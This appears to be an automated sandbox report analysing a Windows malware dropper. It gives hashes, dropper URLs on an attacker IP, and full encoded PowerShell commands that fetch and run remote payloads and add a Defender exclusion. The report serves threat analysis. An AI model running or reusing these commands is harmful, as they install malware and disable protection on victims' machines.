aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8

General

Target

aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe
Size

35KB
MD5

90481d2c6fbbe8d4ae6108d756a48d9d
SHA1

b08f7eafa5b562a09792bc2d4b11837eb82496bc
SHA256

aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8
SHA512

884fc809ed957b71467ca7b767a75685223ef6f518d9feba13037a79ec1bd5ee5de97a54afdc77f9c75ec7ecf8669629630d0a1f153805a28dd0c180e92c004f
SSDEEP

768:L2nQISr0yhamQEj06ggM/y4r/wOPpdwMNhghy0qN:L2nxpyhamQnI4kmTghy0w

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/go.png

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/me.png

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://62.204.41.194/F1.exe

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

3 5080 powershell.exe
4 2476 powershell.exe
5 4416 powershell.exe

flow	pid	process
3	5080	powershell.exe
4	2476	powershell.exe
5	4416	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2476	powershell.exe
816	powershell.exe
4416	powershell.exe
5080	powershell.exe
2476	powershell.exe
5080	powershell.exe
4416	powershell.exe
816	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	816	powershell.exe
Token: SeDebugPrivilege	4416	powershell.exe
Token: SeDebugPrivilege	5080	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe

description	pid	process	target process
PID 3660 wrote to memory of 5080	3660	aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe	powershell.exe
PID 3660 wrote to memory of 5080	3660	aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe	powershell.exe
PID 3660 wrote to memory of 2476	3660	aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe	powershell.exe
PID 3660 wrote to memory of 2476	3660	aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe	powershell.exe
PID 3660 wrote to memory of 4416	3660	aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe	powershell.exe
PID 3660 wrote to memory of 4416	3660	aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe	powershell.exe
PID 3660 wrote to memory of 816	3660	aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe	powershell.exe
PID 3660 wrote to memory of 816	3660	aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe
"C:\Users\Admin\AppData\Local\Temp\aac1a251a0246a8271d3a6274fce25e29608bd15cb1c3382232384923b6700c8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5080

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2476

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
f1549cc7b079aafe5a84d4589e478849

SHA1
7b075f7b88d8a2c5d9cd27090a514d60de5bbd4d

SHA256
6adfd6fd5b210f2cbf2ca9f3a89a27c937fba828a9c00888c1c3f86c6c4b38d5

SHA512
7ff46d7a36ebb1607f923d151e5ae3e17559bc18f5f621be0bbb16365ddcdb255794fe47cfb354cf0f58f6763bc628c1c98df7933f927e20d93dbc2c5519fc20

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
f1549cc7b079aafe5a84d4589e478849

SHA1
7b075f7b88d8a2c5d9cd27090a514d60de5bbd4d

SHA256
6adfd6fd5b210f2cbf2ca9f3a89a27c937fba828a9c00888c1c3f86c6c4b38d5

SHA512
7ff46d7a36ebb1607f923d151e5ae3e17559bc18f5f621be0bbb16365ddcdb255794fe47cfb354cf0f58f6763bc628c1c98df7933f927e20d93dbc2c5519fc20

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
160B

MD5
e555de093175ed9e3c819fe6787169b4

SHA1
968357646e81155668be2428f0a06cc1b858d461

SHA256
9548a9eb173b2082520cb3220de05e3b638f4dbd9585b3cf504e0fea004d28fd

SHA512
63cd8227cbd1e1a1ea5e965fb1ae754a7a9d44a36c998f65fc49301e55f3ef891ebab848017611a3f6726c5e725f7c8aa000d6d5cee8fda9538f1238e3af74e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqnrjebo.eey.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/816-180-0x000001B376350000-0x000001B376360000-memory.dmp

Filesize
64KB

Download
memory/2476-150-0x000001FC54B30000-0x000001FC54B52000-memory.dmp

Filesize
136KB

Download
memory/2476-190-0x000001FC54B70000-0x000001FC54B80000-memory.dmp

Filesize
64KB

Download
memory/2476-181-0x000001FC54B70000-0x000001FC54B80000-memory.dmp

Filesize
64KB

Download
memory/2476-138-0x000001FC54B70000-0x000001FC54B80000-memory.dmp

Filesize
64KB

Download
memory/2476-137-0x000001FC54B70000-0x000001FC54B80000-memory.dmp

Filesize
64KB

Download
memory/2476-185-0x000001FC54B70000-0x000001FC54B80000-memory.dmp

Filesize
64KB

Download
memory/2476-186-0x000001FC54B70000-0x000001FC54B80000-memory.dmp

Filesize
64KB

Download
memory/3660-133-0x00000000000D0000-0x00000000000E0000-memory.dmp

Filesize
64KB

Download
memory/4416-140-0x0000022D1D8B0000-0x0000022D1D8C0000-memory.dmp

Filesize
64KB

Download
memory/4416-139-0x0000022D1D8B0000-0x0000022D1D8C0000-memory.dmp

Filesize
64KB

Download
memory/4416-187-0x0000022D1D8B0000-0x0000022D1D8C0000-memory.dmp

Filesize
64KB

Download
memory/4416-188-0x0000022D1D8B0000-0x0000022D1D8C0000-memory.dmp

Filesize
64KB

Download
memory/5080-183-0x00000210B75F0000-0x00000210B7600000-memory.dmp

Filesize
64KB

Download
memory/5080-189-0x00000210B75F0000-0x00000210B7600000-memory.dmp

Filesize
64KB

Download
memory/5080-184-0x00000210B75F0000-0x00000210B7600000-memory.dmp

Filesize
64KB

Download
memory/5080-182-0x00000210B75F0000-0x00000210B7600000-memory.dmp

Filesize
64KB

Download
memory/5080-136-0x00000210B75F0000-0x00000210B7600000-memory.dmp

Filesize
64KB

Download
memory/5080-135-0x00000210B75F0000-0x00000210B7600000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads